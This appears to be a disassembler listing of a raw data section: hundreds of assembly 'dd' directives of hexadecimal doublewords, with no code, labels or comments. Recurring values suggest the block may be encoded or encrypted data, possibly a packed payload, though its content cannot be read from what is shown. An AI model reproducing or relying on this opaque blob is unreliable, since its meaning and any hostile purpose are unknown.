		dd 74B5CF54h, 0FEE7FDB5h, 0EA99EECDh, 936957B5h, 1566443Ah
		dd 1564AB3Dh, 74061132h, 9D4C0D09h, 9069422Eh, 15662271h
		dd 156605DBh, 611B9232h, 110838C6h, 0A21D08A9h,	0ADBFEB43h
		dd 0A9017A88h, 80E3CF49h, 75603701h, 7936AE54h,	92075BB9h
		dd 14A5C5EDh, 92662232h, 156AF8EDh, 0CD7F8832h,	340BDB74h
		dd 5C18D3A3h, 2E9E883Eh, 9E112B7h, 55E34B34h, 0E9662232h
		dd 2D794B9h, 479F8E27h,	0DC127488h, 0D7E76821h,	151F4797h
		dd 5E2A62B3h, 0D7E707B5h, 551F1206h, 946EFBF3h,	0FBADD8C0h
		dd 4FB16DCDh, 156BA93Dh, 1D8F1132h, 0BC668832h,	50F1D7C6h
		dd 2EFD9DDBh, 9E18FB7h,	57E38734h, 0E0664432h, 39CFA7B9h
		dd 1F8F1727h, 88668832h, 4AAC6933h, 6E2AE89Ah, 0D3DF4033h
		dd 9423FF07h, 625383C3h, 4CA92377h, 15661FDBh, 4436B32h
		dd 0B6EE6771h, 5124FF5Fh, 0FC815DA4h, 15668837h, 30653ADh
		dd 0B7E319F0h, 1A600DB5h
		dd 1566A4B7h, 9E9FBD32h, 7BFBB7h, 0F7E67134h, 0ECEDEE7Eh
		dd 0EAD81253h, 3C99DDCDh, 98694FC5h, 1566883Fh,	15664CDBh
		dd 9079E732h, 0D1CA11B8h, 0B3E3B3C8h, 1A6058B5h, 15666CB7h
		dd 16E31E32h, 75668832h, 0A8E525CEh, 13733AF3h,	2DE31E32h
		dd 0ED668832h, 50FC1B9h, 93692427h, 1566113Ah, 0BDFEE52h
		dd 743D17E7h, 156636DBh, 24584032h, 555A1E9h, 0CEB18E27h
		dd 37865875h, 0C3A71BC7h, 0EAD8DE5Dh, 3C99BBCDh, 2E9A7CC5h
		dd 9E1BBB7h, 3BE38734h,	75664432h, 0A8E3A953h, 1A600439h
		dd 15669ABAh, 156BAD32h, 9C962232h, 9618FAA5h, 0EC11634Ch
		dd 4401FED5h, 0EA99DD8Bh, 4CA938CDh, 0CAEDEE52h, 0BBE37F53h
		dd 1A603EB5h, 156662B7h, 0CE28732h, 0FC664432h,	15662226h
		dd 0EF779BCEh, 980BDB4Bh, 2B9FE8F1h, 8690FA1Bh,	2570BFABh
		dd 0DA735B1h, 1A664227h, 156665B7h, 14E81E32h, 0ED668832h
		dd 0F0E6BC52h, 90ED438Dh, 1373253Bh, 1567083Dh,	0E09F4432h
		dd 7CBD9F67h, 0F8A77348h, 24AB0937h, 9410E754h,	6762BDFFh
		dd 74939064h, 942DFB30h, 6E600EC7h, 0C093A345h,	142DEAC1h
		dd 0ED9ED5DDh, 92D4C109h, 9069242Eh, 1566111Ch,	43DEEE52h
		dd 0E2D14BA1h, 80E3A953h, 1A600413h, 15668FB8h,	0D8E62432h
		dd 7496A958h, 1567AA61h, 0CA678832h, 9E002469h,	0B4DF44FCh
		dd 905D70E0h, 137A0F84h, 1531C13Dh, 128F2232h, 6B661132h
		dd 0F8DABA6h, 90ED6D53h, 137320E3h, 0F5DE7152h,	9E6652CBh
		dd 1E8E25CCh, 0D9662232h, 0C0F209B3h, 2699E2h, 0F0E6E988h
		dd 0FC077C21h, 15661137h, 3F3CE53Ch, 11991336h,	315AA916h
		dd 1A62D5B1h, 156684BBh, 13E94B32h, 1A662232h, 156611B0h
		dd 0ABE3B332h, 1A6058B5h, 156640B7h, 1E11E32h, 0FC668832h
		dd 1566443Dh, 0A2DB36C8h, 0A47D4E41h, 0C9C1724Dh, 0E06C4BFCh
		dd 0DA79FB1h, 1A661727h, 1566B2B7h, 3E44B32h, 0FC662232h
		dd 15661123h, 0D5BECBEAh, 943D4C16h, 1E328DBFh,	0D0936E40h
		dd 0D0E30343h, 0EC60512Fh, 15679F67h, 0FA671132h, 1DE5876Fh
		dd 75664432h, 0D3E744C7h, 2E07E090h, 9E132B7h, 4CE34B34h
		dd 1A662232h, 156619B5h, 17E38732h, 75664432h, 0D4DBA153h
		dd 1560042Ah, 15580D3Dh, 99694432h, 15662235h, 1567993Dh
		dd 9E938832h, 714DB7h, 1561CB34h, 0DDFB1132h, 268277B6h
		dd 14D812CFh, 14662232h, 92694FC5h, 15668822h, 15664FDBh
		dd 4CE67632h, 42AFB986h, 0AC1E9730h, 92A4C109h,	9069242Eh
		dd 1566112Bh, 0F4E303C7h, 0E9605126h, 14DD71C7h, 14661132h
		dd 9369D3EDh, 15664433h, 0D3E319CAh, 1A600DB5h,	1566F8B7h
		dd 58F2432h, 5E662232h,	0BDF3E6E2h, 0BB9CDCF2h,	0B8B36F03h
		dd 75E33FBAh, 99B49054h, 74A8021Eh, 4CE3CF53h, 1A603718h
		dd 15660DB0h, 3EA8732h,	0FC664432h, 15662223h, 0D4969E7h
		dd 445C37F0h, 0E21066A1h, 20D4EA59h, 24A12052h,	55A1B9CAh
		dd 0CE14BA5h, 0FC662232h, 15661126h, 0FD384A43h, 0A78A1109h
		dd 0CD605283h, 0F7ADC9Fh, 0A100A37Eh, 0DFE37FC7h, 1A603EB5h
		dd 156630B7h, 15636132h, 63894432h, 9E23AC28h, 6A14B7h
		dd 0A8337D34h, 0EA99BBCDh, 1A3BCD1Bh, 156610B4h, 905D7432h
		dd 137AC3FCh, 152AA73Dh, 9E931132h, 4641B7h, 1577AD34h
		dd 0F5112232h, 0E28C084Bh, 7C67491Dh, 0FFABFFF3h, 45FFDC51h
		dd 1562558Ah, 366F8D29h, 38267192h, 1530266h, 0F5A7C9C5h
		dd 5419A534h, 0D267A10Ch, 156ACB6Ah, 0BFFF1132h, 9EB48A22h
		dd 0ED80CD23h, 905D65AAh, 137A96E0h, 15550D3Dh,	9C694432h
		dd 1566223Ch, 15E31E52h, 94668832h, 89BEACE3h, 90ED437Fh
		dd 13731B3Fh, 156682DBh, 0A406EC32h, 0AC8C4184h, 45E833C9h
		dd 1566898Ah, 4DA14532h, 0C3E319CEh, 1A600DB5h,	1566C1B7h
		dd 1577AD32h, 64502232h, 7FE28419h, 0BE7AC4D7h,	488C5BD6h
		dd 9E1BA22Ah, 6CF4B7h, 0AA00E834h, 7306F604h, 128FEDB9h
		dd 0FF661132h, 0A0AEBC30h, 7407A182h, 0EA999B63h, 0DA4FEECDh
		dd 156E616Bh, 257A4432h, 8A06B482h, 905DEDF5h, 137A0FE8h
		dd 157BC13Dh, 9E9F2232h, 43BCB7h, 15616134h, 0F764432h
		dd 117E33EAh, 24A9202Fh, 54A9B9CBh, 2E938BB5h, 9E1FCB7h
		dd 42E31E34h, 0FC668832h, 1566443Bh, 9285D13Fh,	5DCF5EA9h
		dd 4CE30373h, 1A605131h, 15663AB5h, 1575F832h, 0B88A8832h
		dd 7457808Bh, 60883324h, 658730AFh, 7C793164h, 14DE14F5h
		dd 14662232h, 0FD0649F5h, 1566883Bh, 56CE1A30h,	0D8A484DAh
		dd 0DFE77739h, 733C58B1h, 0FD6F87B3h, 905DDA53h, 13733F0Bh
		dd 15430D3Dh, 73064432h, 4E9FBB3h, 9E07E0B9h, 45B9B7h
		dd 1561AD34h, 604E2232h, 0CDAA85h, 14D8DE41h, 14664432h
		dd 2E9E7CC5h, 9E1F3B7h,	2FE38734h, 0FC664432h, 15662238h
		dd 6171FFEh, 86C0A33Eh,	90ED923Bh, 13732ADBh, 15E81E52h
		dd 74668832h, 2A67FC62h, 0EB637AAEh, 3CC172F2h,	0FC9ED0F5h
		dd 1566443Bh, 0DCC10F7Eh, 0B9BDBFB6h, 0BE3B363h, 1A6058BAh
		dd 15665BB7h, 0F0E67132h, 0A8E5E9FDh, 137ACC14h, 33E32D32h
		dd 0FC661132h, 15668821h, 3A67CB46h, 4CEEAB99h,	0D8565E9Eh
		dd 0FD5D7533h, 968BDC5Ch, 4ACF8Fh, 91691134h, 15668870h
		dd 68E3CFC7h, 0FC603711h, 15661122h, 13CE2382h,	0D416C6F2h
		dd 914936CEh, 0F36AF176h, 156699DBh, 39FEF332h,	0C893A51Fh
		dd 0B6343A8h, 0E70120A0h, 0AB302440h, 0EA99DDCDh, 1A38E61Bh
		dd 156689B8h, 905DB132h, 137AAA10h, 153F943Dh, 96698832h
		dd 15664433h, 33DBA1CAh, 15600DBAh, 15470D3Dh, 969E4432h
		dd 4ACF8Fh, 91691134h, 15668805h, 156BC43Dh, 1D8F2232h
		dd 62661132h, 900B3313h, 9EB7A5E2h, 4537B7h, 0A833ED34h
		dd 0EA9977CDh, 0FC3BAB1Bh, 1566223Dh, 0D492B610h, 0FAAA5C2Ah
		dd 0A1A60C60h, 2E812D73h, 9E1F7B7h, 34E38734h, 0E0664432h
		dd 373BA7B9h, 9E691727h, 15668838h, 24D82252h, 0A1DE44C0h
		dd 0A833707Fh, 0EA9977CDh, 0E03BAB1Bh, 928CA709h, 9069172Eh
		dd 15668815h, 0D0E3CFCEh, 75603713h, 1D86BF89h,	0E2D18759h
		dd 11991353h, 315AA916h, 1A62D5B1h, 15668EBDh, 74062432h
		dd 2E07FCB9h, 9E1FFB7h,	2EE38734h, 0FC664432h, 15662234h
		dd 0D3A9256h, 90ED525Bh, 13736333h, 1574CB52h, 0CD911132h
		dd 0D124D536h, 20C514F2h, 0D0AB8EE5h, 8920D66Bh, 43803752h
		dd 7407422Bh, 0EA999B63h, 0DA4FEECDh, 905D716Bh, 137AC3C0h
		dd 1556A73Dh, 9E9F1132h, 44DDB7h, 9DDD2434h, 1A298D74h
		dd 4607DB85h, 15668989h, 4EB94532h, 57C39C52h, 74934CB6h
		dd 156681DBh, 9CC9FC32h, 0CB626116h, 905D05BAh,	137A0FC4h
		dd 1550C13Dh, 9E932232h, 4A44B7h, 156E6134h, 0FB624432h
		dd 8BCE51C0h, 0AE35FB5Fh, 15668833h, 0FC3D9B33h, 15662226h
		dd 4A2886Bh, 64F526DEh,	95F3DBCCh, 0E407F0E2h, 0D558EF9Ch
		dd 929C0D09h, 9069422Eh, 1566227Ah, 0ECD91E52h,	74D368B2h
		dd 156AAD52h, 27622232h, 88A9A0B9h, 53B0FE31h, 73305ECFh
		dd 743CE5B9h, 8CF94B9h,	479F8E27h, 7525FB88h, 1D8CE370h
		dd 0F7B7CBC5h, 0D5E37AB3h, 0C24F44B6h, 10EB2D68h, 75661132h
		dd 743FDFCAh, 9169BB39h, 15662215h, 1576F852h, 0A29E8832h
		dd 0AF50E3F6h, 48064672h, 0FEDC7234h, 108F6621h, 0B9664432h
		dd 837F3F86h, 0FBFEF853h
		dd 2E9F77CDh, 55C1B7h, 33E32D34h, 75661132h, 0FB8F0961h
		dd 4D345E0Eh, 15E32D61h, 4B661132h, 9BE30553h, 1A605835h
		dd 156620B8h, 0FC077132h, 0EA996654h, 8CE37FC7h, 1A603731h
		dd 15667DB7h, 15746132h, 0A6B04432h, 0FDC8F197h, 489B0A59h
		dd 73611E73h, 0CC05BF9Ah, 0ADF4452h, 1560F958h,	0A0598832h
		dd 0CB39542Fh, 0FB413A8Ch, 96074A33h, 9E1CE8Fh,	90694534h
		dd 15662203h, 94AE9B52h, 53735CF8h, 9506256Bh, 0AF00BEDAh
		dd 9807639Ah, 4C6DEFB7h, 0EA8FB832h, 0FC99DDDFh, 1566113Fh
		dd 0EE770549h, 92951528h, 99A2ACD9h, 43E32A66h,	1A6094B5h
		dd 156650B6h, 905DDB32h, 137A9668h, 157A0D3Dh, 9E064432h
		dd 0C5ED44C9h, 0F8AEF853h, 916977CDh, 15664438h, 0FE229B52h
		dd 9E006F09h, 150EE9F4h, 9E664432h, 0D1E50606h,	14E21E36h
		dd 0ED668832h, 1A67BAB1h, 1566CDB7h, 156BF832h,	0E198832h
		dd 8C936FA3h, 0FC0A8EDAh, 2E681A22h, 9E1C2B7h, 39E34B34h
		dd 75662232h, 156BF8CEh, 0CDEA8832h, 31330731h,	8E72BA7Dh
		dd 7457E028h, 92A20DBFh, 138F446Ah, 1E662232h, 0EDD311FBh
		dd 0F8326173h, 2E9ABBCDh, 9E16CB7h, 27E31E34h, 1A668832h
		dd 156651BCh, 1AE32D32h, 0FC661132h, 15668838h,	0D4D864B2h
		dd 8E0105B0h, 90EBEB5Dh, 153E0008h, 0F846ADCEh,	759ADDCDh
		dd 0E5E7C183h, 47F21599h, 47E37F53h, 1A603EB5h,	15664AB7h
		dd 15696132h, 7CFC4432h, 4DFA246h, 19E2263Dh, 0E6F330F8h
		dd 128F2439h, 0BF662232h, 99A027F9h, 0C7D648ECh, 6AE3C953h
		dd 0FC667ABAh, 1566113Bh, 552B2851h, 0C879C943h, 0F9AACB3Eh
		dd 9C69EECDh, 1566882Ah, 156657DBh, 9EE63432h, 0F119CADDh
		dd 3AB63B81h, 7100DF32h, 79A2CC0Ch, 15243C5Ah, 316A0132h
		dd 0DDEF85BBh, 1576CB6Bh, 562E1132h, 3174A37Ah,	47ECFB60h
		dd 3BB507A7h, 4034168Bh, 928578Fh, 7D56FE55h, 0FF4F87A7h
		dd 0C35AF6Fh, 0C34FB64Bh, 1E9FB868h, 8E32DC4h, 1A661132h
		dd 156689B1h, 508FB132h, 1A99DDDEh, 15661BBFh, 9F69E832h
		dd 15664432h, 0E907B981h, 9C3D4161h, 9A69D3ECh,	15664420h
		dd 15662FDBh, 631E8732h, 0ADA639Fh, 87BA6F40h, 0A0EF6FBCh
		dd 13731673h, 0AB00E8CEh, 9E00F02Fh, 0A0EF43C9h, 13731743h
		dd 97583352h, 48F4AE2h,	29662232h, 43BCB93Dh, 0F0A2A511h
		dd 0D3037314h, 0C9DE7943h, 95077153h, 9069610Ch, 156644FEh
		dd 15662CDBh, 35536332h, 616CCE6Fh, 888301D9h, 0EA99DCE3h
		dd 21E71044h, 29000B16h, 0AD361B69h, 4E5A44B1h,	0E03ED603h
		dd 53BD3567h, 0FA673D70h, 9491236Fh, 5720CADDh,	0FAE6E84Bh
		dd 943025BBh, 513F061Eh, 9ED306Bh, 11A20916h, 94664432h
		dd 4C227BF1h, 0AD36ED13h, 1566C832h, 49C487B3h,	0D6672434h
		dd 49C4FAB3h, 0FC3E8E34h, 1566443Ah, 79F2A302h,	0AE457523h
		dd 12273509h, 97694227h, 15662214h, 2CB1AB52h, 94008DFCh
		dd 746920E8h, 0D3ED4452h, 743CE462h, 93697309h,	1566441Eh
		dd 0CBE74452h, 9E006290h, 3C8FE9F4h, 0FC99BBD9h, 1566223Fh
		dd 0DAD96C15h, 0E8651A09h, 87F34507h, 0CEE7421Fh, 7B37DFDEh
		dd 74AD0354h, 8D7F9B9h,	0ED062427h, 0D207D3B9h,	40B9B7h
		dd 15664434h, 1FEF2D32h, 75661132h, 6C48608Dh, 0CAED2269h
		dd 1F8F4253h, 95661132h, 0E4075AE2h, 0D558BA9Ch, 14E42DB8h
		dd 0EC661132h, 13173DBBh, 1F8F4227h, 0EE662232h, 12D1F0CCh
		dd 60DE2243h, 37FBC9F5h, 1A603F38h, 15660AB5h, 0E18732h
		dd 0FC664432h, 15662222h, 0F9EE5749h, 0C01DC845h, 0B6BFE3CFh
		dd 491CF93Eh, 78FC2CDh,	0DD668832h, 0B6EB8936h,	7C935912h
		dd 95FBEB8Fh, 0FCA7CF3Ah, 1AA64F61h, 15662CB6h,	14EB1E32h
		dd 0ED668832h, 15C4ADCBh, 98932232h, 0FFC6DAFh,	0C6997034h
		dd 0EAE0C73Dh, 9569DDCDh, 15661125h, 15669ADBh,	2BEF9D32h
		dd 0F8BBE40Bh, 0E7301A6Ah, 0DF3679B9h, 9E6F35B6h, 605387h
		dd 3EF1E34h, 0FC668832h, 15664423h, 0FEAC5315h,	8CA163F1h
		dd 0C7649898h, 0F3EF55B9h, 1574CBCAh, 8521132h,	752BC8ABh
		dd 0F9BE4BDEh, 751B4C95h, 9BE6E20Eh, 33573DBBh,	1B8F4227h
		dd 34662232h, 0D7C6A3A7h, 0A22ACE45h, 0FC5CE3BAh, 0E7FBAFD4h
		dd 75600AA4h, 61278988h, 0CFED220Eh, 0FCB5DD53h, 1566113Eh
		dd 0BB234221h, 0A0216838h, 33FCEB07h, 122794B9h, 9C9F8E27h
		dd 6035B7h, 0DEA2D34h, 0FC661132h, 15668821h, 0F0BE8A1Dh
		dd 0D6745AC0h, 661C71B9h, 0F7E10CA2h, 74047B2Ah, 1561A53Dh
		dd 96691132h, 15668833h, 0FD58C4CBh, 15A7A73Dh,	9D691132h
		dd 15668835h, 1567C43Dh, 0ED932232h, 3F27ACB1h,	1A668E27h
		dd 1566E2B6h, 0A635DE32h, 0A13677EAh, 73858823h, 4EBECC6Ah
		dd 156633DBh, 0ABA37132h, 0C39BE29Eh, 0BBB5E181h, 0E87D49DAh
		dd 0E0CC506Fh, 31620364h, 156280B3h, 9E062232h,	16E31EE2h
		dd 73668832h, 4207BAB9h, 0A6392B8Dh, 0ADA19021h, 0D4080311h
		dd 0FAE740D5h, 51416B3Eh, 0A29DEB3h, 0CA9184E4h, 3D37B3B3h
		dd 0ED4F403Bh, 109E386Dh, 5746A0D2h, 1560AD52h,	0D9942232h
		dd 0BF3F4FFh, 74B60354h, 1567C65Ah, 315AAB32h, 1566158Dh
		dd 4A9EA132h, 0EC9AEFC7h, 156404DBh, 9E007132h,	156E61CBh
		dd 40254432h, 1FE6D16h,	98070BA9h, 99672AFh, 156FAD34h
		dd 39D92232h, 0BA069718h, 0EC59C733h, 1C8F97CDh, 0AD662232h
		dd 0D657A76Dh, 9DBFE2C2h, 1030D9BFh, 9F69242Fh,	1566113Fh
		dd 156680DBh, 0F04FA32h, 6629A760h, 0E9B5EEE5h,	90694839h
		dd 15664423h, 1563CBCAh, 0B0621132h, 0FC3877ECh, 1566442Ah
		dd 64E3A1CBh, 10600434h, 0EBA961CEh, 7506BBCDh,	74939584h
		dd 74A0AE3Dh, 123C15BFh, 1C8F422Fh, 56662232h, 473D32F6h
		dd 94DC392Eh, 956997CDh, 15662223h, 15661DDBh, 0DA5EEE32h
		dd 24E0B928h, 9CA82C81h, 0D56DE927h, 157C0D3Dh,	73064432h
		dd 0AF97FAB3h, 0FC07EFB9h, 15668800h, 0CFE72252h, 0B4DE9259h
		dd 7473CE32h, 15623361h, 0D7E74432h, 1D987766h,	0FFE7CB33h
		dd 1D98DD66h, 1560AD69h, 6C392232h, 0FE963BBCh,	1567A6DBh
		dd 88EBB132h, 137CB84Eh, 1561963Dh, 9E698832h, 15664433h
		dd 1AB5DDCAh, 156646B1h, 15776132h, 2EEF4432h, 0BD583436h
		dd 37A4DC91h, 723967BDh, 9EEACAF1h, 605387h, 3E31E34h
		dd 0FC668832h, 15664423h, 7494C6D2h, 17F3A0A3h,	0F8061CD7h
		dd 57CA128Fh, 538FD78Fh, 0FC66111Fh, 15668826h,	4566FA63h
		dd 7265BE51h, 0FE837295h, 4C13CA86h, 0E52DFFA5h, 1317AFB9h
		dd 9C9E1727h, 60F987h, 1E64B34h, 0FC662232h, 1566113Dh
		dd 8293E99Ch, 8806E0F5h, 0A5D531CCh, 4035EB61h,	191E198Fh
		dd 0F8E70927h, 7AB205DBh, 0D8E7CCC5h, 2F15879Eh, 0F3A3C57Fh
		dd 3CDD9F64h, 0E44F4CDBh, 138449B3h, 5C9F7287h,	0C391D3B5h
		dd 7306E0B5h, 7B14EB3h,	0D3ED2252h, 7407F8B9h, 156619DBh
		dd 12E46932h, 0BBBC5460h, 0FBD975E3h, 5210F841h, 524847B3h
		dd 942141E9h, 0B46968C5h, 4A983810h, 0D3E7461Bh, 403C3C88h
		dd 156BCBCEh, 26DE1132h, 0FB921643h, 1CF47DD0h,	0E64E49A5h
		dd 14E31E96h, 0ED668832h, 0EA9B68DBh, 0AA6942CDh, 0CAED71FBh
		dd 989EE953h, 0EFE97AFh, 1560CB34h, 1E91132h, 48415002h
		dd 9F0697CDh, 9C3343D1h, 9E8E98CFh, 0D1E5AC1Eh,	58E2436h
		dd 82662232h, 0CDBFCBDFh
		dd 0E163F834h, 942FB95Dh, 1A74C341h, 9F3FEE8Dh,	904DE9D5h
		dd 13735983h, 157CAD3Dh, 91691132h, 15668826h, 15664BDBh
		dd 0F3D9BC32h, 46489C74h, 0DF01F8EAh, 8512AB3h,	98E3ABCEh
		dd 0ED600430h, 0A4E303CBh, 7560512Fh, 15662EDAh, 608A5732h
		dd 4A4DFB51h, 0AEE5D571h, 1563CB65h, 0A6001132h, 4D9FEF07h
		dd 0FB8FC554h, 9C31430Ah, 11A190D5h, 94668832h,	156640DDh
		dd 315AA532h, 315A986Eh, 15770B3Dh, 198F4432h, 0B2662232h
		dd 373B3581h, 8210CE2h,	7DAF7308h, 15662814h, 754215BBh
		dd 156684DBh, 0BFB00632h, 0A34F4655h, 0A01F5539h, 156E6005h
		dd 0B624432h, 15CF95F1h, 9E00F267h, 0EC07D0E2h,	8EA6C9BFh
		dd 0A1062429h, 730670C3h, 749F73B9h, 1E8F95CDh,	0CA662232h
		dd 34BC34B0h, 394964B2h, 90ED2348h, 137308CFh, 2FE679C7h
		dd 11EF8832h, 156CAD16h, 71AB2232h, 32687B2Dh, 0BA5CED51h
		dd 1512045Ah, 315AAB32h, 1AAE9A52h, 156688BDh, 90ED2532h
		dd 13733F83h, 0E911A052h, 0F4EFD953h, 156285B3h, 0FCE52232h
		dd 316A9636h, 3162016Eh, 0CFDD2252h, 0CFC79ABCh, 9807681Fh
		dd 0EFB97BFh, 1DE64B34h, 75662232h, 1566973Dh, 0EA078832h
		dd 730624E3h, 1AE1748Bh, 156611B6h, 9169E932h, 15664439h
		dd 156624DBh, 0A355232h, 74425971h, 9C62A8B1h, 753C0636h
		dd 15661FDAh, 0D6532F32h, 0C085CDE6h, 6B335F27h, 0FC331DF7h
		dd 15668834h, 0CC8B40DAh, 753D1CBBh, 9F889054h,	7407E803h
		dd 2C522C53h, 11EF2232h, 9D694816h, 15668834h, 753D1352h
		dd 984D4353h, 13733BCFh, 6CDB0BC7h, 1560511Eh, 15DCA63Dh
		dd 9A691132h, 15668821h, 15664ADBh, 1B6F032h, 0B29FA6A1h
		dd 0E0B09F27h, 9ED06A54h, 748BB7h, 156DF834h, 0CBD38832h
		dd 8A0ADE3Dh, 0DDE80541h, 0A30671EDh, 7439D9ACh, 68BCC554h
		dd 904D4328h, 13733D4Bh, 156681DBh, 7CAA2A32h, 15EBFAD4h
		dd 0D45DBF7Bh, 15040E3Dh, 78F4432h, 21662232h, 499868Fh
		dd 93286AA7h, 817EC5FEh, 5577F2E7h, 0B4E39A27h,	0FC609D2Eh
		dd 1566443Bh, 568AD656h, 9D8E14BEh, 6CE38B7Ch, 7560511Eh
		dd 1565A53Dh, 0F2E61132h, 0CCEDDA5Bh, 90EF2569h, 13733BBFh
		dd 0CBED7752h, 743DD852h, 14C2AD53h, 96692232h,	1566113Ah
		dd 15640D3Dh, 74064432h, 1553955Ah, 316A9832h, 156681DBh
		dd 0C01C4E32h, 0B3B7B794h, 9437709Bh, 2F42AC1Eh, 443E6FA1h
		dd 865C068Bh, 4CAE1019h, 0EAD8DECBh, 1499BBCDh,	0FC067CC2h
		dd 15661138h, 10C84E8Ah, 0A791B390h, 0ED07BB68h, 85DE4164h
		dd 0AB76BE43h, 5503A5Dh, 1C3EE403h, 78F4FC2h, 8E668832h
		dd 6ADB481Fh, 30C73524h, 83A13855h, 0FDC6904Fh,	0AA31BDAFh
		dd 0EA99DDCDh, 1A39E91Bh, 156689B3h, 78FBC32h, 4D662232h
		dd 293B37E9h, 7935AA6Ch, 53B92EF4h, 3EC53C56h, 0BCE3981Dh
		dd 0FC609D20h, 15664438h, 0B80B517Fh, 9ECEC762h, 9067EC65h
		dd 1373475Fh, 156629DBh, 4ED63A32h, 0D495235Bh,	7E60D1AFh
		dd 391FA7F5h, 15661727h, 95698832h, 1566443Ah, 1564AD3Dh
		dd 74061132h, 1A06C858h, 156644BBh, 0C4DE4432h,	150E70C4h
		dd 75668822h, 156648DBh, 16AFAE32h, 0EE3659F0h,	0B3174339h
		dd 9C3325FBh, 11A3A3D7h, 96661132h, 39E18CDFh, 19EF1816h
		dd 156ECB16h, 71B71132h, 0BC7F8ED1h, 150CE010h,	15E12D52h
		dd 0FC661132h, 15668837h, 82F97423h, 0EA9A4383h, 42D8A7h
		dd 80997034h, 13736C2Fh, 1561A83Dh, 96691132h, 15668833h
		dd 0B4E3CDC7h, 1A60372Eh, 15661BB3h, 0AA69E832h, 0CBE722C9h
		dd 9C07A205h, 7F9CB7h, 15766134h, 16394432h, 0D01F968Ah
		dd 0BFAE027Fh, 1948D4CBh, 21994146h, 0D1E77B16h, 15661136h
		dd 156681DBh, 0D260BD32h, 6DD6D09Fh, 0A0992372h, 137391BFh
		dd 0E8D3BBCBh, 1A603718h, 156619B4h, 17EB8732h,	75664432h
		dd 156ACB53h, 331F1132h, 0AE58F321h, 76F8C2B2h,	4B0E99A0h
		dd 9C661159h, 9569AC0Eh, 15664423h, 156DAD3Dh, 138F1132h
		dd 4F668832h, 0C703CFD4h, 1572CB56h, 35001132h,	0CCD8E016h
		dd 0F4E87AB6h, 4D28FE15h, 3C1AB480h, 0A0998D6Ch, 13735983h
		dd 4F8FA252h, 15661FDAh, 0BDD4A532h, 0E5929C35h, 2AEF4A87h
		dd 1A86F91Fh, 156688BEh, 98071F32h, 0ED37CB7h, 48F7134h
		dd 0DE668832h, 7CE4FF82h, 0CE239B3Eh, 0AD2F72Fh, 5005CFC8h
		dd 1566CC3Dh, 0EA072232h, 9867E8E2h, 1373A44Bh,	1561C33Dh
		dd 73062232h, 7406CEB9h, 98DB0353h, 0ED60512Bh,	3F9B97B9h
		dd 43061727h, 156684DBh, 4DA8EB32h, 0CD05500h, 248330CBh
		dd 80DDD062h, 743EFC8Bh, 1571A43Dh, 78F1132h, 33668832h
		dd 8B887CFDh, 0C20F6D69h, 462DDD42h, 0DF0ABF55h, 75C2B72Ah
		dd 94006D86h, 74F01CC5h, 84D303CAh, 1A605138h, 156629B2h
		dd 1560F832h, 555B8832h, 281240B3h, 0F9E5DA9Fh,	31629836h
		dd 0F315318Ah, 0E9208335h, 1280518Bh, 4D9A5703h, 1567013Dh
		dd 0D49A4432h, 730627F2h, 9400EFB9h, 741301C4h,	155DF35Ah
		dd 316AAB32h, 0CE23458Bh, 4CAE8953h, 24E347CAh,	0E0603732h
		dd 0CEB9CB9h, 1F8F8E27h, 0D6664432h, 0C085ABE6h, 6B336C27h
		dd 0DBEDE8F7h, 156655DBh, 90CF0032h, 0F4C72AE6h, 6FA910C2h
		dd 3781B5EAh, 7D070170h, 1566691Eh, 9A4284BBh, 14E64B32h
		dd 0EC662232h, 1A06BCCEh, 156688B4h, 0CC95C532h, 743B7E79h
		dd 15789B3Dh, 92698832h, 1566442Ah, 156631DBh, 0FDD61332h
		dd 69B818BFh, 2015D10Ah, 0F35F215h, 8DF9DA8Bh, 45843361h
		dd 94255084h, 1AD753F1h, 0E938986Ch, 0E9080969h, 285C1603h
		dd 0F79A6CB3h, 944B1728h, 507B7474h, 73068642h,	7365368Ch
		dd 9C07CBB9h, 6C1987h, 9A692434h, 15662230h, 0A1067052h
		dd 74A702BCh, 0EA9EC753h, 15FBA73Dh, 1D8F1132h,	2B668832h
		dd 0A38FAEC1h, 9488D0F9h, 0C8BBCC0Ch, 91E387EFh, 75664432h
		dd 15DC7053h, 14661132h, 15644FC0h, 9E664432h, 0D1E50626h
		dd 156AF836h, 343F8832h, 80EA7777h, 8584ADCDh, 463365CFh
		dd 15668C89h, 4EBBCD32h, 1A3BCC33h, 15661DBFh, 13EE8732h
		dd 1A664432h, 156622B2h, 84D39832h, 1A609D38h, 156659BFh
		dd 2EB2D32h, 0FC661132h, 15668820h, 0A3195918h,	0F2BA2C23h
		dd 6A9A2315h, 0FA83572Dh, 0D58F3DE7h, 0E999DDE6h, 15661BDBh
		dd 85CE0D32h, 0AB9E1851h, 0D408525Bh, 169F12F2h, 66B9B7h
		dd 156EAD34h, 3B7B2232h, 7551AA91h, 0A8E52D44h,	13735007h
		dd 89E22D33h, 0FC661131h, 15668839h, 0DFD708BAh, 4DB8B619h
		dd 947BB550h, 0BFCC220Ch, 0DFE34B98h, 1A662232h, 156605BDh
		dd 15696132h, 4B284432h, 6D573F2Eh, 0E8AEFDF9h,	0EF36494Eh
		dd 11DC1680h, 94662232h, 214A0CF4h, 94B0891Bh, 214A59DCh
		dd 188F781Bh, 4A661132h, 0D533BF24h, 0F00B5FC9h, 0E5394047h
		dd 15DF4067h, 9C668832h, 7BEF1DFFh, 1A067FCEh, 156617BBh
		dd 15E48732h, 1A664432h, 156627B2h, 0DBE77732h,	0EC07232Eh
		dd 11ED1362h, 11A2A316h, 4A661132h, 90697152h, 15664430h
		dd 75077B63h, 7EA6A954h, 0A734D953h, 4FB3CC3Eh,	0D898E7CCh
		dd 9DBBD4B2h, 0FC06D1DAh, 15664421h, 0A1962FB9h, 4E8DB383h
		dd 0DABEC068h, 404FB88h, 1A97AB30h, 0FC07EA85h,	1566880Ch
		dd 156DCF3Dh, 138F2232h, 14661132h, 0D8DD495Bh,	9E3114D8h
		dd 0D1E70636h, 15661136h
		dd 18E5876Dh, 75664432h, 0D5FBCCB3h, 940064A4h,	740FA0EBh
		dd 155BAB5Ah, 3172AB32h, 0E5EEF984h, 9C347468h,	11A4C5D0h
		dd 96662232h, 1E115D8h,	11EFD416h, 0D9DD2416h, 0AB0928B4h
		dd 4B36CF2Fh, 0F8DB0B53h, 1460511Eh, 142CA63Dh,	0AD931132h
		dd 34A6F29Eh, 0E1BFF61h, 0C6916FA3h, 0E6E7CAC5h, 3D63ADBDh
		dd 0F6B797C5h, 0EC5ED1B3h, 0CD6773B8h, 138E4969h, 63BE7172h
		dd 1A8F23D2h, 0CF661132h, 5143A4E2h, 31ACB451h,	1BEFABB8h
